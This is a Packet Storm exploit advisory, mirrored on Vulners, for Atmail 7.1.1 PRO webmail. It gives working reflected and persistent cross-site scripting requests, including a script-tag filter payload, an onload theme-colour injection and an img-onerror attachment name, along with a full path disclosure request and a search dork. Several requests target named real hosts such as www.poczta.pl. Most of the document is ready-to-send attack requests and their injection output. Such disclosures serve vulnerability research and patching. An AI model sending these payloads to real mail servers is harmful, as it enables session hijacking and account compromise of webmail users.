Lucene search
K

Atmail 7.1.1 PRO Cross Site Scripting

🗓️ 04 Jan 2018 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 36 Views

Atmail v7.1.1 PRO XSS Vulnerability with Full Path Disclosure and Persistent XS

Code
`============================================================================  
| # Title : Atmail v7.1.1 PRO XSS Vulnerability |  
| # Author : indoushka |  
| # email : [email protected] |  
| # Tested on : windows 10 FranASSais V.(Pro) |  
| # Version : v7.1.1 |  
| # Vendor : www.p30vel.ir |   
| # Dork : Powered by Atmail 7.1.1 |  
============================================================================  
  
poc :  
  
1. Cross Site Scripting  
  
a) GET - viewmessageTabNumber  
  
Request:  
  
host/mail/index.php/mail/composemessage/index/viewmessageTabNumber/3"><h1>XSS<!--  
  
Injection point (line 16):  
  
<input type="hidden" name="tabId" value="viewmessageTab3"><h1>XSS<!--  
  
PoC:  
  
https://www.poczta.pl/mail/index.php/mail/composemessage/index/viewmessageTabNumber/3"><h1>XSS<!--  
  
b) POST - filter  
  
  
POST /mail/index.php/mail/mail/listfoldermessages/searching/true/selectFolder/INBOX.666/resultContext/searchResultsTab1 HTTP/1.1  
Host: www.poczta.pl  
searchQuery=&goBack=6&from=&to=&subject=&body=&filter=<script>alert(666)</script>  
  
Alert will appear; injection point:  
<div id=\"noMessageDisplay\" style=\"margin:10px;\">\n\t\t\t\tFound no messages matching <script>alert(666) (...)  
  
c) POST - Search Results Tab  
  
Request:  
POST /mail/index.php/mail/mail/listfoldermessages/searching/true/selectFolder/INBOX/resultContext/searchResultsTab1"%20whats="up"%20bad=" HTTP/1.1  
Host: http://www.poczta.pl  
  
Injection point:  
<input type=\"hidden\" name=\"resultContext\" id=\"resultContext\" value=\"searchResultsTab1\" whats=\"up\" bad=\"\" \/>  
  
d) POST - page  
  
Request:  
POST /mail/index.php/mail/mail/listfoldermessages/selectFolder/INBOX/page/2"%20xss="true"%20bad=" HTTP/1.1  
Host: www.poczta.pl  
  
Injection point:  
<input type=\"hidden\" name=\"pageNumber\" id=\"pageNumber\" value=\"2\" xss=\"true\" bad=\"\" \/>  
  
  
2. Full Path Disclosure  
  
Request (GET):  
demo.atmail.com/mail/index.php/mail/mail/listfoldermessages/  
  
Response:  
An error occurred  
script 'mail/listfoldermessages.phtml' not found in path (/usr/local/atmail/webmail/application/modules/mail/views/scripts/)  
  
3. Persistent XSS - Theme Color  
  
Request:  
GET /mail/index.php/mail/settings/webmailsave?fields%5BcssColorTheme%5D=purple"%20onload=alert(666)%20bad="&save=1 HTTP/1.1  
Host: www.poczta.pl  
  
Now, whenever someone will login alert will appear.  
Injection point:  
<body class="leaderboard-ad-off footer-ad-off '"XSS fresh blue" onload=alert(666) bad="" id="calon">  
  
4. Persistent XSS - Forward a Message  
  
First, compose your message and attach an image. Image name should consist  
JS code, for example: "><img src=x onerror=prompt(1)>.  
  
Send message to a victim, whenever someone will 'Forward' the message,  
JS will be executed:  
  
<a class=\"attach-btn\" href=\"#\" onClick=\"removeAttachment('bobs.\\\"><img src=x onerror=prompt(1)> (...)  
  
P.S - Login and password are sent as plaintext.  
  
Greetz :----------------------------------------------------------------------------------------  
|  
jericho * Larry W. Cashdollar * shadow0075 * djroot.dz *Gjoko 'LiquidWorm' Krstic |  
|  
================================================================================================  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation